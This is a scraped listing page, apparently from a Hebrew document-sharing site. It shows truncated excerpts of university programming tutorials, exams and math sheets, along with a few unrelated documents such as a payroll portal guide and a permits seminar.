מדריך לחיפוש במאגר JCR Journal Citation Reports מעודכן לדצמבר 2015 כל הזכויות שמורות לתחום היעץ, אוניברסיטת חיפה, הספריה מדריך לחיפוש במאגר JCR Journal Citation Reports מעודכן לדצמבר 2015 כל הזכויות שמורות לתחום היעץ, אוניברסיטת חיפה, הספריה תוכן עניינים........................ )Journal Citations Reports( JCR מדד ההשפעה

קרא עוד

Microsoft PowerPoint - T-10.ppt [Compatibility Mode]

Microsoft PowerPoint - T-10.ppt [Compatibility Mode] מבוא למחשב בשפת Matlab לולאות בלוקי try-catch :10 תרגול מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקשטיין, איתן אביאור, סאהר אסמיר וטל כהן עבור הקורס "מבוא למדעי המחשב" נכתב על-ידי רמי כהן,אולג רוכלנקו,

קרא עוד

תכנות מונחה עצמים א' – תש"ע

תכנות מונחה עצמים א' –  תשע 1 תכנות מונחה עצמים והנדסת תוכנה תשע"ו 2 בנאי העתקה בניית העתק של אובייקט קיים. בניית העתק בעת העברת אובייקט לפונקציה. בניית העתק בעת החזרת אובייקט מפונקציה. ניתן להגדיר בנאי העתקה. אם לא מגדירים, אז הקומפיילר

קרא עוד

פייתון

פייתון שיעור 12: מילונים ברק גונן 1 או מילון, :hash table או,dictionary זוגות של מפתחות keys וערכים values מילון מוגדר על ידי סוגריים מסולסלים { } לדוגמה: מילון שמכיל ציונים, המפתח הוא מספר ת.ז ערך מפתח הגדרה

קרא עוד

מבוא לאסמבלי

מבוא לאסמבלי 1 ברק גונן תוכנית שבנויה מחלקי קוד נפרדים המשולבים זה בזה מאפיינים: נקודת כניסה אחת נקודת יציאה אחת מבצעים פעולה מוגדרת נקראים פרוצדורות ברק גונן 2 קוד קצר יותר לא צריך לחזור על חלקי קוד שאלה למחשבה: האם

קרא עוד

Slide 1

Slide 1 מבוא למדעי המחשב תירגול 1: מבוא 1 אתר הקורס webcourse.cs.technion.ac.il/234114 חדשות הקורס תרגילי בית חומר עזר, מבחנים קודמים, שאלות נפוצות, ועוד... הרצאות ותירגולים 2 אתר הקורס 3 רשימת תפוצה חובה להירשם!

קרא עוד

T01-1page

T01-1page מבוא לשפת C תירגול 1: מבוא 1 אתר הקורס webcourse.cs.technion.ac.il/234112 חדשות הקורס תרגילי בית הרצאות ותירגולים חומר עזר, מבחנים קודמים, שאלות נפוצות, ועוד... 2 אתר הקורס 3 רשימת תפוצה חובה להירשם! הודעות

קרא עוד

Slide 1

Slide 1 מבוא לתכנות ב- JAVA תרגול 5 מה בתרגול מחרוזות מערכים דו ממדיים מחרוזות (Strings) מחרוזת היא רצף של תווים. immutable על מנת ליצור ולטפל במחרוזות נשתמש במחלקה String למחלקה String מתודות שונות שמאפשרות פעולות

קרא עוד

שעור 6

שעור 6 שעור 6 Open addressing אין רשימות מקושרות. (נניח שהאלמנטים מאוחסנים בטבלה עצמה, לחילופין קיים מצביע בהכנסה המתאימה לאלמנט אם אין שרשור). ב- addressing open הטבלה עלולה להימלא ב- factor α load תמיד. במקום

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא למדעי המחשב המחלקה Object תוכן עניינים Object הורשה והמחלקה ערך שם טיפוס DynamicIntArray da data size incrementsize DynamicArray תזכורת - Object[] data; int size; int incrementsize; DynamicArray זה

קרא עוד

מצגת של PowerPoint

מצגת של PowerPoint מבוא כללי לתכנות ולמדעי המחשב תרגול מס' 1 דין שמואל dshmuel110@gmail.com 1 1. מנהלות מרצה: אמיר רובינשטיין, amirr@tau.ac.il שעות קבלה: לשאלות קצרות - מייד לאחר השיעור. ניתן לתאם במייל שעות אחרות. מתרגל:

קרא עוד

תרגול מס' 1

תרגול מס' 1 תרגול 6 הסתעפויות 1 מבוסס על שקפים מאת יאן ציטרין קפיצות לא מותנות Unconditional Branch br label PC לאחר ה- fetch של פקודת ה- branch PC לאחר הביצוע של פקודת ה- branch pc label br label הקפיצה מתבצעת תמיד,

קרא עוד

פרויקט "רמזור" של קרן אביטל בס "ד מערך שיעור בנושא: "פונקציה" טליה קיפניס והדסה ערמי, מאולפנת צביה פרטים מקדימים על מערך השיעור: השיעור מהווה מבוא לנו

פרויקט רמזור של קרן אביטל בס ד מערך שיעור בנושא: פונקציה טליה קיפניס והדסה ערמי, מאולפנת צביה פרטים מקדימים על מערך השיעור: השיעור מהווה מבוא לנו בס "ד מערך שיעור בנושא: "פונקציה" טליה קיפניס והדסה ערמי, מאולפנת צביה פרטים מקדימים על מערך השיעור: השיעור מהווה מבוא לנושא הפונקציות הנלמד בכתה ט' בכל הרמות. עזרי ההוראה בהם נשתמש: מחשב, ברקו, דפי עבודה

קרא עוד

מסע מדע ו - מסע ברכב שטח ביבשות רחוקות

מסע מדע ו - מסע ברכב שטח ביבשות רחוקות הנחיות הורדה ותפעול לספרים דיגיטלים. הוצאת כנרת, זמורה ביתן שמחה להגיש לכם, התלמידים, ספר דיגיטלי. הספרים עצמם הינם בקבצי PDF הניתנים להורדה ללא עלות וללא צורך ברישום לאתר למשתמשי סדרת פשוט חשבון. בספרים:

קרא עוד

יום עיון עורכי בקשות להיתרים

יום עיון עורכי בקשות להיתרים יום עיון לעורכי בקשות להיתרים 13.7.2017 יום עיון לעורכי בקשות להיתרים 13.7.2017 ימים תנאים מקדימים + 45 מידע להיתר ימים מידע 5 בדיקת תנאים מקדימים איסוף מידע הפקת תיק מידע ומסירתו למבקש מירי תמר תמר תנאים

קרא עוד

מבוא למדעי המחשב

מבוא למדעי המחשב מבוא כללי לתכנות ולמדעי המחשב 1843-0310 מרצה: אמיר רובינשטיין מתרגל: דין שמואל אוניברסיטת תל אביב סמסטר חורף 2017-8 חלק א - השיטה הבינארית שיעור 5 ו- 1? ספירה בבסיס 2 ואיך אומרים "hello" עם 0 1 ממעגלים

קרא עוד

דף נגזרות ואינטגרלים לשאלון 608 כללים למציאת נגזרת של פונקציה: n 1. y' n x n, y הנגזרת x.1 נכפול בחזקה )נרשום אותה משמאל ל- (. x א. נחסר אחד מהחזקה. ב

דף נגזרות ואינטגרלים לשאלון 608 כללים למציאת נגזרת של פונקציה: n 1. y' n x n, y הנגזרת x.1 נכפול בחזקה )נרשום אותה משמאל ל- (. x א. נחסר אחד מהחזקה. ב דף נגזרות ואינטגרלים לשאלון 608 כללים למציאת נגזרת של פונקציה: n n n, y הנגזרת נכפול בחזקה )נרשום אותה משמאל ל- ( א נחסר אחד מהחזקה ב 7 y כאשר גוזרים כופלים בחזקה, 7 כלומר נרשום אותה משמאל ל-, ובחזקה של

קרא עוד

Python 2.7 in Hebrew

Python 2.7 in Hebrew Python גרסה 7.2 זהר זילברמן גרסה 1.71 אין לשכפל, להעתיק, לצלם, להקליט, לתרגם, לאחסן במאגר מידע, לשדר או לקלוט בכל דרך או אמצעי אלקטרוני, אופטי או מכני או אחר כל חלק שהוא מהחומר שבספר זה. שימוש מסחרי מכל

קרא עוד

המשימה תרגול מס' 5: קלט-פלט במערכות הפעלה שונות יש סימונים שונים עבור ירידת שורה :)newline( ב- UNIX/Linux )Line Feed( \n ב- Windows )Carriage Return +

המשימה תרגול מס' 5: קלט-פלט במערכות הפעלה שונות יש סימונים שונים עבור ירידת שורה :)newline( ב- UNIX/Linux )Line Feed( \n ב- Windows )Carriage Return + המשימה תרגול מס' 5: קלט-פלט במערכות הפעלה שונות יש סימונים שונים עבור ירידת שורה :)newline( ב- UNIX/Linux )Line Feed( \n ב- Windows )Carriage Return + Line Feed( \r\n - יכולות להתעורר בעיות... זרמים, קוראים

קרא עוד

מיכפל

מיכפל מיכפל 0222 הוראות התקנה למהדורה 9.78 במהדורה 78.9 בוצעו מספר שינויים טכנולוגיים: שדרוג התוכנה ליצירת דוחות בפורמט PDF שינויים בטכנולוגיית השידור של טופס 102 לביטוח הלאומי במהלך עדכון גרסה זו תתקבלנה מספר

קרא עוד

מבוא לתכנות ב- JAVA תרגול 11

מבוא לתכנות ב- JAVA  תרגול 11 מבוא לתכנות ב- JAVA תרגול 11 רשימה מקושרת אוסף סדור של איברים מאותו טיפוס. קודקוד ברשימה )Node( מכיל את המידע + הצבעה לקודקוד הבא ברשימה data next first רשימה :)List( מיוצגת ע"י מצביע לאיבר הראשון ברשימה

קרא עוד

מספר מחברת: עמוד 1 מתוך 11 ת"ז: תשע"א מועד ב סמסטר א' תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי ה

מספר מחברת: עמוד 1 מתוך 11 תז: תשעא מועד ב סמסטר א' תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי ה עמוד 1 מתוך 11 תשע"א מועד ב סמסטר א' 14.2.2011 תאריך: 00:11 שעה: 0 שעות הבחינה: משך כל חומר עזר אסור בשימוש בחינה בקורס: מבוא למדעי המחשב יש לענות על כל 5 השאלות. בכל השאלות במבחן יש לכתוב פונקציות יעילות

קרא עוד

Slide 1

Slide 1 מבוא לשפת C תירגול 10: מצביעים, מערכים ומחרוזות שבוע שעבר... מצביעים Call by reference 2 תוכנייה קשר מצביע-מערך )אריתמטיקה של מצביעים( העברת מערכים לפונקציה מחרוזות דוגמה 3 קשר מצביע-מערך 4 תזכורת: תמונת

קרא עוד

הטכניון מכון טכנולוגי לישראל אלגוריתמים 1 )443432( סמסטר חורף הפקולטה למדעי המחשב תרגול 9 מסלולים קלים ביותר תרגיל APSP - 1 עד כה דנו באלגור

הטכניון מכון טכנולוגי לישראל אלגוריתמים 1 )443432( סמסטר חורף הפקולטה למדעי המחשב תרגול 9 מסלולים קלים ביותר תרגיל APSP - 1 עד כה דנו באלגור תרגול 9 מסלולים קלים ביותר תרגיל APSP - 1 עד כה דנו באלגוריתמים לפתרון בעית מסלולים קלים מציאת מסלולים קלים ביותר מצומת ביותר ממקור יחיד. כלומר, V לכל צמתי הגרף. בעיה אחרת הקשורה לבעיה זו היא בעית ה-(

קרא עוד

תרגיל בית מספר 1#

תרגיל בית מספר 1# ב 4 תרגיל בית מספר - 1 להגשה עד 72 באוקטובר בשעה ::725 קיראו בעיון את הנחיות העבודה וההגשה המופיעות באתר הקורס, תחת התיקייה.assignments חריגה מההנחיות תגרור ירידת ציון / פסילת התרגיל. הנחיות והערות ספציפיות

קרא עוד

regular_expression_examples

regular_expression_examples ביטוי רגולארי או באנגלית: Regular Expression כאשר רוצים לחפש על נושא מסוים (למשל בגוגל), כותבים בערך מה שרוצים ואז מנוע החיפוש מביא לנו המון קישורים שיש בהם את מה שחיפשנו בצורות שונות ומגוונות. אם איננו

קרא עוד

PowerPoint Presentation

PowerPoint Presentation תרגול מס' 3: המתרגם שימוש במחלקות קיימות מחרוזות, קבצים, וקבלת קלט מהמשתמש שלבי הפיתוח - חזרה קצרה ישנם שני שלבים נפרדים: שלב פיתוח התוכנית בשלב זה אנו משתמשים במהדר )קומפיילר( כדי להמיר קבצי.java )קבצי

קרא עוד

Microsoft Word B

Microsoft Word B מרצה: שולי וינטנר. מתרגל: שלמה יונה מבוא למדעי המחשב מועד ב', סמסטר א' תשס"ג, 17/2/03 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות: 1. ודאו כי בטופס שבידיכם 8 עמודים. יש לכתוב

קרא עוד

התגוננות בפני כוחות האופל

התגוננות בפני כוחות האופל ניהול ידע אישי על רגל אחת 1 סוגי ידע Explicit גלוי Tacit סמוי 5 מה אמר השועל לנסיך הקטן? מה קורה בבתי ספר כשמורים או מנהלים עוזבים? 8 ניהול ידע במערכת החינוך רמת התלמיד )ניהול ידע אישי( רמת המורה )ניהול

קרא עוד

אוניברסיטת בן גוריון בנגב תאריך המבחן: שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: מס' הקורס : הנדסת תעשיה וניהול מ

אוניברסיטת בן גוריון בנגב תאריך המבחן: שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: מס' הקורס : הנדסת תעשיה וניהול מ אוניברסיטת בן גוריון בנגב תאריך המבחן: 12.02.17 שקולניק אלכסנדר שם המרצה: מר בשפת JAVA מבוא לתכנות מבחן ב: 202.1.9031 מס' הקורס : הנדסת תעשיה וניהול מיועד לתלמידי : א' מועד א' סמ' שנה תשע"ד 3 שעות משך

קרא עוד

מבוא לאנליזה נומרית na191 Assignment 2 solution - Finding Roots of Nonlinear Equations y cos(x) שאלה 1 היכן נחתכים הגרפים של? y x 3 1 ושל ממש פתרונות

מבוא לאנליזה נומרית na191 Assignment 2 solution - Finding Roots of Nonlinear Equations y cos(x) שאלה 1 היכן נחתכים הגרפים של? y x 3 1 ושל ממש פתרונות מבוא לאנליזה נומרית na191 Assignmnt 2 solution - Finding Roots of Nonlinar Equations y cos() שאלה 1 היכן נחתכים הגרפים של? y 3 1 ושל ממש פתרונות בעזרת שיטת החצייה ובעזרת Rgula Falsi )אין צורך לפתור אנליטית(

קרא עוד

People. Partnership. Trust מסלול Free פורטל החינוך מבית U-BTech מסלולים ומחירים חיבור לשירותי Office 365 ללא עלות פורטל התחברות הכולל ממשק למנב"ס ולסי

People. Partnership. Trust מסלול Free פורטל החינוך מבית U-BTech מסלולים ומחירים חיבור לשירותי Office 365 ללא עלות פורטל התחברות הכולל ממשק למנבס ולסי מסלול Free פורטל החינוך מבית U-BTech מסלולים ומחירים חיבור לשירותי Office 365 ללא עלות פורטל התחברות הכולל ממשק למנב"ס ולסיסמא אחודה דף בית לתלמיד המאפשר גישה פשוטה להורדת הטבת האופיס מסלול Basic הפלטפורמה

קרא עוד

הגשה תוך שבוע בשעת התרגול

הגשה תוך שבוע בשעת התרגול מרצה: שולי וינטנר. מתרגל: שלמה יונה מבוא למדעי המחשב מועד ב', סמסטר א' תשס"ג, 17/2/03 משך המבחן: שעתיים וחצי. חומר עזר: מותר כל חומר עזר, מלבד מחשב. הנחיות: ודאו כי בטופס שבידיכם 8 עמודים. יש לכתוב את

קרא עוד

מקביליות

מקביליות PROMELA גרא וייס המחלקה למדעי המחשב אוניברסיטת בן-גוריון עדכון אחרון: 21:40 15/06/2013 2 שפת מ פ ר ט עם ס מ נ ט יק ה מוגדרת באופן מתמטי "שפת תכנות" למודלים המטרה: לאפשר גם לכאלה שאינם חוקרים בתחום לבנות

קרא עוד

מקביליות

מקביליות תכונות שמורה Invariant Properties גרא וייס המחלקה למדעי המחשב אוניברסיטת בן-גוריון 2 בדיקות מודל Checking( )Model מערכת דרישות מידול פירמול בדיקות מודל )Model Checking( מודל של המערכת תכונות פורמליות סימולציה

קרא עוד

שקופית 1

שקופית 1 Computer Programming Summer 2017 תרגול 5 מערכים חד-מימדיים )תזכורת( לדוגמא: מערך בשם Arr בגודל 8 שאיבריו מטיפוס int 3 7 5 6 8 1 23 16 0 1 2 3 4 5 6 7 ב - arr[0] ב יושב ערך שהוא המספר השלם 3 arr[1] - יושב

קרא עוד

מבנים בדידים וקומבינטוריקה סמסטר אביב תשע"ט מספרי רמזי תרגול 11 הגדרה: (t R = R(s, הוא המספר הטבעי הקטן ביותר כך שבכל צביעה של צלעות הגרף וכחול(, קיים

מבנים בדידים וקומבינטוריקה סמסטר אביב תשעט מספרי רמזי תרגול 11 הגדרה: (t R = R(s, הוא המספר הטבעי הקטן ביותר כך שבכל צביעה של צלעות הגרף וכחול(, קיים מספרי רמזי תרגול 11 הגדרה: (t R = R(s הוא המספר הטבעי הקטן ביותר כך שבכל צביעה של צלעות הגרף וכחול( קיים תת-גרף שלם K s שצבוע בכחול או שקיים תת-גרף שלם K t שצבוע באדום. הגדרה שקולה: עבור גרף עם לפחות (t

קרא עוד

אתגר קוביות מחייכות תכולה: 12 קוביות חוברת הוראות ופתרונות ספרון הכולל 60 חידות חידות בדרגות קושי שונות תפיסה חזותית וחשיבה לוגית הקדמה המשחק פרצופים

אתגר קוביות מחייכות תכולה: 12 קוביות חוברת הוראות ופתרונות ספרון הכולל 60 חידות חידות בדרגות קושי שונות תפיסה חזותית וחשיבה לוגית הקדמה המשחק פרצופים אתגר קוביות מחייכות תכולה: 12 קוביות חוברת הוראות ופתרונות ספרון הכולל 60 חידות חידות בדרגות קושי שונות תפיסה חזותית וחשיבה לוגית הקדמה המשחק פרצופים בריבוע מכיל 60 חידות ברמת קושי עולה לשחקן יחיד או שני

קרא עוד

PowerPoint Presentation

PowerPoint Presentation הקלטה עצמית באמצעות Tablet PC תמצית פעילות 2009-2014 הטמעת אוטומציה מלאה ב- 2015 מדור טכנולוגיות למידה וייעוץ מערך המחשוב אב"ג הקלטה עצמית באמצעות Tablet PC הסבר על השיטה יתרונות וחסרונות תמצית פעילות

קרא עוד

הקדמה מעתה תוכלו לצפות בתלוש השכר שלכם באופן ממוחשב, באמצעות מערכת חילן-נט. את סיסמת הכניסה הזמנית למערכת תמצאו בחלקו התחתון של תלוש השכר המודפס, שנשל

הקדמה מעתה תוכלו לצפות בתלוש השכר שלכם באופן ממוחשב, באמצעות מערכת חילן-נט. את סיסמת הכניסה הזמנית למערכת תמצאו בחלקו התחתון של תלוש השכר המודפס, שנשל הקדמה מעתה תוכלו לצפות בתלוש השכר שלכם באופן ממוחשב, באמצעות מערכת חילן-נט. את סיסמת הכניסה הזמנית למערכת תמצאו בחלקו התחתון של תלוש השכר המודפס, שנשלח אליכם בדואר רגיל. דפי הנחיות אלה כוללים הסבר על אופן

קרא עוד